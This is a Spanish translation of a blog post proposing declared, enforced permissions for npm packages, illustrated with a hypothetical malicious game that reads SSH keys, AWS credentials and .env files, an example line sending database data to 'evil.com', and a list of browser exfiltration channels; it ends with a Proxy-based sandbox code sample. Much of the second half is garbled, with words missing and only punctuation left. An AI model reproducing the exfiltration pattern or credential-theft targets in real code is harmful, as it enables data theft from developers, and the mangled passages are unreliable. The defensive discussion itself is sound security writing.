Tener una idea: sistema de permisos para paquetes npm

Hace unos días, lancé la calculadora por primera vez en un teléfono nuevo y vi este mensaje: "La calculadora desea acceder a sus contactos".


Al principio, este mensaje me pareció un poco triste (parecía que la calculadora estaba sola), pero este caso me hizo pensar ...

¿Qué sucede si, como las aplicaciones telefónicas, los paquetes npm tendrían que declarar los permisos necesarios para su trabajo? Con este enfoque, el archivo del paquete package.json podría verse así:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

En npmjs.com, una sección de la página del paquete con información sobre los permisos que necesita podría verse así.


Dicha sección de permisos podría estar disponible para paquetes en el sitio de registro npm.
Dichas listas de permisos para un paquete podrían ser una combinación de los permisos de todas sus dependencias con sus propios permisos.

Una mirada al contenido de la sección de permissions del paquete fancy-logger podría hacer que el desarrollador piense por qué el paquete que escribe algo en la consola necesita acceso al módulo http y esto parece algo sospechoso.

¿Cuál sería el mundo en el que se usaría un sistema de permisos similar para paquetes npm? Quizás alguien no vea el punto en esto, ya que se siente completamente seguro, por ejemplo, usando solo paquetes confiables de editores probados por el tiempo. Para que todos los que lean esto se sientan vulnerables, aquí hay una historia corta.

La historia de cómo robo tus variables de entorno


Quería crear un paquete npm llamado space-invaders . Fue interesante aprender cómo hacer juegos escribiendo un juego que funciona en la consola y, al mismo tiempo, corroborar mi punto de vista sobre las vulnerabilidades relacionadas con los paquetes npm.

Podrías ejecutar este juego con este comando: npx space-invaders . Después de su lanzamiento, uno podría comenzar a disparar inmediatamente a los alienígenas y matar el tiempo.

Te gustaría este juego, lo compartirías con amigos, a ellos también les gustaría.

Todo esto parece muy positivo, pero, entreteniéndote, los space-invaders del juego harán lo space-invaders , es decir, la recopilación de algunos datos. Recopilará información de ~/.ssh/ , ~/.aws/credentials , de ~/.bash_profile y otros lugares similares, lea el contenido de todos los archivos .env que pueda alcanzar, incluido process.env , mire a la configuración de git (para averiguar de quién es la información que recopila), y luego ella lo envía todo a mi servidor.

No he escrito un juego así, pero desde hace un tiempo me siento incómodo, y cuando ejecuto el comando npm install , pienso en lo vulnerable que es mi sistema. Ahora, mirando el indicador de progreso de la instalación, pienso en cuántas carpetas y archivos estándar en mi computadora portátil cuyo contenido no debe caer en las manos equivocadas.

Y no se trata solo de mi espacio de trabajo. Por ejemplo, ni siquiera sé si hay datos en algunas variables de entorno del sistema de ensamblaje de mi sitio para conectarme a la base de datos del servidor de producción. Si en algún lugar hay tales datos, puede imaginar una situación en la que un paquete npm malicioso instala un script en el sistema diseñado para conectarse a mi base de datos de trabajo. Luego, este script ejecuta el comando SELECT * from users , luego http.get('http://evil.com/that-data') . ¿Quizás fue precisamente debido a la posibilidad de tales ataques que me encontré con el consejo de que las contraseñas no deberían almacenarse en bases de datos en texto plano?

Todo esto parece bastante aterrador, y lo más probable es que ya esté sucediendo (aunque es imposible decir exactamente si esto está sucediendo o no).

Con esto, quizás, dejaremos de hablar sobre las consecuencias del robo de datos importantes. Volvamos al tema de los permisos para paquetes npm.

Cambios de permisos de bloqueo


Supongo que sería genial poder ver los permisos que necesita el paquete al ver el sitio npm. Pero debe tenerse en cuenta que la capacidad de ver los permisos es buena solo cuando se aplica a un punto específico en el tiempo, de hecho, esto no resuelve el problema real.

En un incidente reciente en npm, alguien primero publicó una versión de parche de un paquete con código malicioso, y luego publicó una versión menor de la que ya se había eliminado el código malicioso. El tiempo entre estos dos eventos fue suficiente para poner en peligro a muchos usuarios del paquete peligroso.

Este es el problema No paquetes creados por malware y que permanecen así todo el tiempo. El problema es que, en un paquete aparentemente confiable, puede agregar silenciosamente algo malo y, después de un tiempo, eliminarlo.

Como resultado, podemos decir que necesitamos un mecanismo para bloquear el conjunto de permisos recibidos por los paquetes.

Quizás sea algo así como un archivo package-permissions.json que establece permisos para Node.js y para el navegador y contiene una lista de paquetes que necesitan estos permisos. Con este enfoque, sería necesario enumerar todos los paquetes en dicho archivo, y no solo los que están en la sección de dependencies del archivo package.json del proyecto.

Así es como se vería el archivo package-permissions.json .

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

Una versión real de dicho archivo podría contener muchas más entradas de paquete.

Ahora imagine que un día actualiza un paquete con doscientas dependencias que también se actualizarán. Se ha publicado una versión de parche para una de estas dependencias, que de repente necesitó acceso a http Node.js.

Si esto sucede, el comando npm install fallará con un mensaje similar al siguiente: “El paquete add-two-number que necesitaba el paquete fancy-logger solicitó acceso a http Node.js. Ejecute el npm update-permissions add-two-numbers para resolver esto, luego ejecute el comando npm install nuevamente ".

Aquí, fancy-logger es el paquete que está en su archivo package.json (suponiendo que esté familiarizado con este paquete), y el paquete add-two-numbers es una dependencia de fancy-logger la que nunca ha oído hablar.

Por supuesto, incluso si hay un archivo en el sistema para "bloquear" las dependencias, algunos desarrolladores confirmarán los nuevos permisos sin pensar en nada. Pero, como mínimo, un cambio en package-permissions.json será visible en la solicitud de extracción, es decir, habrá una posibilidad de que otro desarrollador más responsable preste atención a esto.

Además, los cambios a los permisos solicitados requerirían que el registro npm mismo notifique a los autores de paquetes cuando una situación cambia en algún lugar del árbol de dependencia de sus paquetes. Quizás, esto se hará por correo electrónico con los siguientes contenidos:

"Hola, autor de fancy-logger . Le informamos que add-two-number , el paquete cuyas capacidades utiliza, solicitó permiso para trabajar con el módulo http . Los permisos de su paquete, como se muestra en npmjs.com/package/fancy-logger , se han actualizado en consecuencia ".

Esto, por supuesto, se sumará al trabajo tanto de los autores de los paquetes como del propio npm, pero estas cosas serán dignas de pasar un poco de tiempo en ellas. En este caso, el autor de add-two-numbers puede estar absolutamente seguro de que si solicita permiso para trabajar con el módulo http , esto provocará la activación de muchas "alarmas" en todo el mundo.

Eso es lo que necesitamos. ¿Eh? Me gustaría esperar que, como en el caso de las aplicaciones telefónicas, e incluso en el caso de las extensiones para Chrome, los paquetes que requieren menos permisos sean más populares entre los usuarios que aquellos que necesitan un nivel inexplicablemente alto de acceso a los sistemas. Esto, a su vez, hará que los autores de paquetes piensen muy bien al elegir los permisos necesarios para su desarrollo.

Supongamos que npm decide introducir un sistema de permisos. El primer día de lanzamiento de dicho sistema, se considerará que todos los paquetes requieren permisos completos (tal decisión se tomará más adelante, en los casos en que falta la sección de permissions en package.json ).

El autor del paquete, que quiere afirmar que su paquete no requiere permisos especiales, estará interesado en agregar la sección de permissions en package.json como un objeto vacío. Y, si los autores de los paquetes están lo suficientemente interesados ​​como para que los permisos de dependencia no "sobrecarguen" sus paquetes, intentarán asegurarse de que estos paquetes de dependencia tampoco requieran permisos especiales, por ejemplo, haciendo solicitudes de extracción apropiadas en el repositorio de dependencias.

Además, cada autor del paquete se esforzará por reducir el riesgo de vulnerabilidad de su paquete al romper una de sus dependencias. Por lo tanto, si los autores de los paquetes usan dependencias que requieren permisos, que, al parecer, no son necesarios, tendrán un incentivo para cambiar a usar otros paquetes.

Y en el caso de los desarrolladores que usan npm-packages cuando crean aplicaciones, esto los obligará a prestar especial atención a los paquetes utilizados en sus proyectos, eligiendo principalmente aquellos que no requieren permisos especiales. Al mismo tiempo, por supuesto, algunos paquetes, por razones objetivas, requerirán permisos que pueden causar problemas, pero es probable que dichos paquetes estén bajo un control especial de los desarrolladores.

Quizás algo como Greenkeeper pueda ayudar de alguna manera a resolver todos estos problemas.

Finalmente, el archivo package-permissions.json proporcionará un resumen fácil de entender para un profesional de seguridad que evalúa posibles "agujeros" en la aplicación y le permite hacer preguntas específicas sobre paquetes controvertidos y sus permisos.

Como resultado, espero que esta propiedad de permissions simple pueda extenderse ampliamente entre aproximadamente 800,000 paquetes npm y hacer que npm sea más seguro.

Por supuesto, esto no evitará posibles ataques. Así como los permisos solicitados por las aplicaciones móviles no hacen imposible crear aplicaciones móviles maliciosas distribuidas a través de sitios oficiales. Pero esto reducirá la "superficie de ataque" a paquetes que soliciten explícitamente permiso para realizar ciertas acciones que podrían representar una amenaza para los sistemas informáticos. Además, será interesante saber qué porcentaje de paquetes no necesita ningún permiso especial.

Así es como se ve el mecanismo para trabajar con permisos para paquetes npm que pensé. Si esta idea se hace realidad, podemos confiar en el hecho de que los atacantes describirán honestamente sus paquetes declarando permisos o combinando el sistema de declarar permisos con el mecanismo de restricción forzada de las capacidades de los paquetes de acuerdo con los permisos solicitados por ellos. Esta es una pregunta interesante. Echemos un vistazo como se aplica a Node.js y navegadores.

Forzar restricciones de paquetes de acuerdo con los permisos solicitados por ellos en Node.js


Aquí veo dos opciones posibles para aplicar tales restricciones.

▍ Opción 1: paquete npm especial que impone medidas de seguridad


Imagine un paquete creado y mantenido por npm (o alguna otra organización igualmente autoritaria y visionaria). Deje que este paquete se llame @npm/permissions .

Dicho paquete se incluiría en el código de la aplicación con el primer comando de importación, o las aplicaciones se iniciarían con un comando del formulario node -r @npm/permissions index.js .

Un paquete anularía otros comandos de importación para que no violaran los permisos establecidos en la sección de permissions de los archivos package.json de otros paquetes. Si el autor de un determinado paquete lovely-logger no declaró la necesidad de este paquete en el módulo http Node.js, esto significa que dicho módulo no puede acceder a dicho paquete.

Estrictamente hablando, bloquear módulos completos de Node.js de esta manera no es ideal. Por ejemplo, el paquete de methods npm carga el módulo http Node.js, pero no envía ningún dato al usarlo. Simplemente toma el objeto http.METHODS , convierte su nombre a http.METHODS y lo exporta como un paquete npm clásico. Ahora, este paquete parece un gran objetivo para un atacante: tiene 6 millones de descargas por semana, mientras que no ha cambiado en 3 años. Podría escribir a los autores de este paquete e invitarlos a que me den su repositorio.

Teniendo en cuenta el paquete de methods , sería mejor considerar que no requiere permiso de network , y no permiso que da acceso al módulo http . Luego, esta restricción se puede solucionar utilizando un mecanismo externo y neutralizar cualquier intento de este paquete para enviar ciertos datos de los sistemas en los que funciona.

El paquete imaginario @npm/permissions también podría restringir el acceso de un paquete a cualquier otro paquete que no figurara como sus dependencias. Esto evitará que el paquete, por ejemplo, importe algo como fs-extra y request , y use las capacidades de estos paquetes para leer datos del sistema de archivos y enviar datos leídos a un atacante.

Del mismo modo, puede ser útil distinguir entre acceso de disco "interno" y "externo". Estoy bastante contento de que el node-sass necesite acceso a materiales ubicados dentro del directorio de mi proyecto, pero no veo ninguna razón por la cual este paquete necesita acceso a algo fuera de este directorio.

Quizás, al comienzo de la introducción del sistema de permisos, el @npm/permissions deberá agregarse a los proyectos manualmente. Quizás, durante el período de transición, durante la eliminación de fallos de funcionamiento inevitables, este es el único enfoque razonable para utilizar dicho mecanismo. Pero para garantizar una seguridad real, es necesario que este paquete esté estrechamente integrado en el sistema, ya que será necesario tener en cuenta los permisos al ejecutar los scripts de instalación del paquete.

Entonces, lo más probable, resulta que un simple comando de la forma "enforcePermissions": true en el archivo package.json del proyecto le dirá a npm que ejecute cualquier script con el uso forzado de los permisos declarados por ellos.

▍ Opción 2: Modo seguro Node.js


El modo especial de operación de Node.js, enfocado en un mayor nivel de seguridad, obviamente, requerirá cambios más serios. Pero tal vez a la larga, la plataforma Node.js pueda imponer restricciones establecidas por los permisos declarados por cada paquete.

Por un lado, sé que aquellos que están desarrollando la plataforma Node.js se esfuerzan por resolver los problemas de esta plataforma, y ​​mis ideas sobre la seguridad de los paquetes npm van más allá del alcance de sus intereses. Después de todo, al final, npm es solo la tecnología que acompaña a Node.js. Por otro lado, los desarrolladores de Node.js están interesados ​​en hacer que los usuarios corporativos se sientan seguros al trabajar con esta plataforma, y ​​la seguridad, presumiblemente, es uno de esos aspectos de Node.js que no se debe dar a la "comunidad".

Entonces, si bien todo lo que hablamos parecía bastante simple y se reducía al hecho de que el sistema de una forma u otra seguiría las capacidades utilizadas por los módulos durante la operación de Node.js.

Ahora hablemos de los navegadores. Todo aquí no parece tan claro y entendible en absoluto.

Restricción forzada de las capacidades de los paquetes de acuerdo con los permisos solicitados en los navegadores


A primera vista, la restricción forzada de las capacidades de los paquetes en los navegadores parece aún más simple, ya que el código que se ejecuta en el navegador no puede hacer mucho, especialmente con respecto al sistema operativo en el que se ejecuta el navegador. De hecho, en el caso de los navegadores, solo debe preocuparse por la capacidad de los paquetes para transferir datos a direcciones inusuales.

El problema aquí es que hay innumerables formas de enviar datos desde el navegador del usuario al servidor del atacante.

Esto se llama exfiltración o fuga de datos, y si le pregunta a un profesional de seguridad cómo evitar esto, él, con la mirada de la persona que inventó la pólvora, le dirá que deje de usar npm.

Creo que para los paquetes que se ejecutan en los navegadores, debe prestar atención a una sola resolución: la que es responsable de la capacidad de trabajar con la red. Llamémoslo network . Puede haber otros permisos en este entorno (como los que regulan el acceso al DOM o al almacenamiento local), pero aquí procedo suponiendo que nuestra principal preocupación es la posibilidad de fuga de datos.

Los datos del navegador se pueden "eliminar" de muchas maneras. Estos son los que recuerdo en 60 segundos:

  • fetch API.
  • Tomas web
  • Tecnología WebRTC.
  • Constructor de EventSource .
  • API XMLHttpRequest
  • Establecer la propiedad innerHTML de varios elementos (puede crear nuevos elementos).
  • Crear un objeto de imagen con el new Image() comando new Image() (la propiedad src de una imagen puede servir como medio para filtrar datos).
  • Configurar document.location , window.location , etc.
  • Cambiar las propiedades src de una imagen existente, iframe o algo así.
  • Cambios en la propiedad de target del elemento <form> .
  • Usando una cadena inteligentemente diseñada para acceder a cualquiera de los mecanismos anteriores o para acceder a algo en la top o self lugar de windows .

Cabe señalar que una buena Política de seguridad de contenido (CSP) puede neutralizar algunas de estas amenazas, pero esto no se aplica a todas ellas. Si alguien puede corregirme, estaré feliz, pero creo que nunca puede confiar en el hecho de que CSP lo protegerá completamente de la fuga de datos. Una persona me dijo una vez que CSP proporciona protección casi completa contra una gran cantidad de amenazas. A esto respondí que no puedes estar un poco embarazada, y desde entonces no nos hemos comunicado con esta persona.

Si se acerca sabiamente a la búsqueda de formas de robar datos del navegador, estoy seguro de que es bastante realista hacer una lista bastante completa de estos métodos.

Ahora necesitamos encontrar un mecanismo para prohibir el acceso al uso de oportunidades de dicha lista.

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. Esto es entendible.

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

Resumen


, , , , . , 90% , , , 10% — , .

, , - .

Estimados lectores! , , npm, -?

Source: https://habr.com/ru/post/es433010/


All Articles